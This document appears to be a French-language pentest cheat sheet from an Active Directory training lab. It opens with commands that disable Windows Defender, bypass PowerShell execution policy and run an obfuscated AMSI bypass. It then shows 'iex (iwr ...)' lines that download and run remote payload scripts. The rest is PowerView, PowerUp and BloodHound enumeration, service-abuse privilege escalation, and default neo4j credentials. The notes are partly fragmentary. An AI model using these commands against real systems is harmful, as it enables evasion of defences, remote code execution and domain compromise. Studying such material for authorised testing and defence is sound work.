



Introduction à Active Directory Enumération

Départ →→→

L'Anglais et le contournement

1- Set-WinUserLanguageList -LanguageList fr-FR

Set-MpPreference -DisableRealtimeMonitoring \$true

powershell -ExecutionPolicy bypass ou powershell -ep bypass

unzip tools

Expand-Archive -Path .\Tools.zip -DestinationPath C:\Users\mous\Documents\Tools

2- AMSI bypass

```
Set-Item ('V'+aR + 'IA' + 'blE:1q2' + 'uZx' ) ([Type] ( "{1}{0}" -F'F','rE' )) ; ( Get-Variable (
"1Q2U" +"zX" ) -Val )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -
f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iEID"( ( "{0}{2}{1}" -f'amsi','d','InitFaile'
),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ) )."sE`T`VaLUE"( ${n`ULI},${t`RuE} )
```

Depuis le C2 partage python depuis la kali python partage je fais mon partage et la victime récupère le script

iex (iwr http://172.16.100.138:9999/PowerView.ps1 -UseBasicParsing)

iex (iwr <http://10.10.1.130:8000/payload.ps1> -UseBasicParsing)

Domain Enumération Trusts #####
#####

Natife en .NET

```
$ADClass =[System.DirectoryServices.ActiveDirectory.Domain]
```

```
$ADClass::GetCurrentDomain()
```

```
whoami /fqdn
```

```
whoami /all
```

```
gwmi Win32_ComputerSystem | %{$_.DNSHostName + '.' + $_.Domain}
```

Ou avec PowerView:

```
Get-NetForestDomain -Verbose
```

```
Get-NetDomainTrust
```

```
Get-NetDomainController -Domain moneycorp.local
```

```
Get-NetForestDomain -Verbose | Get-NetDomainTrust | ?{$_.TrustType -eq 'External'}
```

```
Get-NetForestDomain -Forest eurocorp.local -Verbose | Get-NetDomainTrust
```

```
Get-ObjectAcl -SamAccountName "users" -ResolveGUIDs -Verbose
```

```
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs -Verbose
```

```
Get-NetForestDomain -Verbose
```

```
Get-NetDomainTrust
```

```
##### Domain Enumeration list of users #####
```

```
.. \PowerUp.ps1
```

```
Get-NetUser
```

```
Get-NetUser -Username student1
```

```
Get-UserProperty
```

```
Get-UserProperty -Properties pwdlastset
```

```
##### Domain Enumeration list of Computer & Group #####
```

```
Get-NetComputer
```

```
Get-NetComputer -OperatingSystem "*Server 2016*"
```

```
Get-NetComputer -Ping
```

Get-NetComputer -FullData

Get-NetGroup

Get-NetGroup -Domain <targetdomain>

Get-NetGroup -FullData

Get-NetLocalGroup -ComputerName dcorp-dc.dollarcorp.moneycorp.local -ListGroups

Get-NetLocalGroup -ComputerName dcorp-dc.dollarcorp.moneycorp.local -Recurse

Domain Admins group

Get-NetGroupMember -GroupName "Domain Admins" -Recurse

Get-NetGroup -UserName "student1"

logged users

Needs local admin rights

Get-NetLoggedon -ComputerName <servername>

Get-LoggedonLocal -ComputerName dcorp-dc.dollarcorp.moneycorp.local

Get-LastLoggedOn -ComputerName <servername>

Find shares

Invoke-ShareFinder -Verbose

Invoke-FileFinder -Verbose

Get-NetFileServer -Verbose

GPO Enumeration

Get-NetGPO

Get-NetGPO -ComputerName dcorpstudent1.dollarcorp.moneycorp.local

Find-GPOComputerAdmin -Computername dcorpstudent1.dollarcorp.moneycorp.local

Find-GPOLocation -UserName student1 -Verbose

OU Enumeration

Get-NetOU -FullData

Get GPO applied on an OU. Read GPOName from gplink attribute from Get-NetOU

Get-NetGPO -GPOName "{AB306569-220D-43FF-B03B-83E8F4EF8081}"

ACL Enumeration

EXplication

{Access Control List (ACL)}

- It is a list of Access Control Entries (ACE) – ACE corresponds to individual permission or audits access. Who has permission and what can be done on an object?
- Two types:
 - DACL – Defines the permissions trustees (a user or group) have on an object.
 - SACL – Logs success and failure audit messages when an object is accessed.}

Enumeration -ACL

Get-ObjectAcl -SamAccountName student1 -ResolveGUIDs

Get-ObjectAcl -ADSPrefix 'CN=Administrator,CN=Users' -Verbose

Get-ObjectAcl -ADSPath "LDAP://CN=Domain Admins,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local" -ResolveGUIDs -Verbose

Invoke-ACLScanner -ResolveGUIDs

Get-PathAcl -Path "\\dcorp-dc.dollarcorp.moneycorp.local\sysvol"

Domain Enumeration

Get-NetDomainTrust

Get-NetDomainTrust -Domain us.dollarcorp.moneycorp.local

Get-NetForest

Get-NetForest -Forest eurocorp.local

Get-NetForestDomain

Get-NetForestDomain -Forest eurocorp.local

Get-NetForestCatalog

Get-NetForestCatalog -Forest eurocorp.local

Get-NetForestTrust

Get-NetForestTrust -Forest eurocorp.local

Find machines the current user has local admin access

Find-LocalAdminAccess -Verbose

Invoke-EnumerateLocalAdmin -Verbose

Get-NetLocalGroup

Invoke-UserHunter

Invoke-UserHunter -CheckAccess

Invoke-UserHunter -GroupName "RDPUUsers"

-----Find computers where a domain admin is logged-in-----

Invoke-UserHunter -Stealth

Get-NetSession/Get-NetLoggedon

Privilege-Escalade-Local

PowerUp: ServiceAbuse

Invoke-AllChecks

Get-ServiceUnquoted

Get-ModifiableServiceFile -Verbose

Get-ModifiableService

Invoke-ServiceAbuse -Name 'AbyssWebServer' -UserName "dcorp\"

Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local

..\Powerview.ps1

Find-LocalAdminAccess =====> dcorp-adminsrv.dollarcorp.moneycorp.local

Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local

BeRoot:

..\beRoot.exe

– Privesc:

Invoke-PrivEsc

➔FIN

do ;➔

BLOODHOUND #####
#####

\\neo4j-community-4.1.1-windows\\neo4j-community-4.1.1\\bin>neo4j.bat install-service

>neo4j.bat start

http://localhost:7474/browser/

neo4j/neo4j

cd C:\\AD\\tools\\BloodHound-master\\BloodHoundmaster\\Ingestors\\

..\SharpHound.ps1

Invoke-BloodHound -CollectionMethod All -Verbose

Invoke-BloodHound -CollectionMethod LoggedOn -Verbose

C:\\AD\\Tools\\BloodHound-win32-x64\\BloodHound-win32-x64 execute it